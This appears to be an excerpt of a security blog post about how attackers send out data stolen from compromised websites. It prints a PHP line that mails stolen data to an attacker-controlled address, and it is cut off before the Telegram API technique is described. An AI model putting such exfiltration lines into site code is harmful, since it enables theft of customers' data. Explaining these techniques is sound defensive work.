Server Side Data Exfiltration via Telegram API

Server Side Data Exfiltration via Telegram API

One of the themes commonly highlighted on this blog includes the many creative methods and techniques attackers employ to steal data from compromised websites. Credit card skimmers, credential and password hijackers, SQL injections, and even malware on the server level can be used for data exfiltration.

What’s more, attackers may be able to accomplish this feat with a few mere lines of code. For example:

Emailing the data:

@mail(“[email protected]”, $_SERVER[“SERVER_NAME”], $stolenData);

Writing the data to a local file:

fwrite($fh, $stolenData);

Sending the data to an email address under the attacker’s control:


Writing the data to an image file within the website to avoid raising suspicion:


Harvesting & Exfiltrating Stolen Data via Telegram

One interesting technique our team has come across in recent months leverages the Telegram API to exfiltrate stolen data and send it in a private message to a bot under the attackers control.

Continue reading Server Side Data Exfiltration via Telegram API at Sucuri Blog.

Leave a Reply

Your email address will not be published. Required fields are marked *


Tap To Call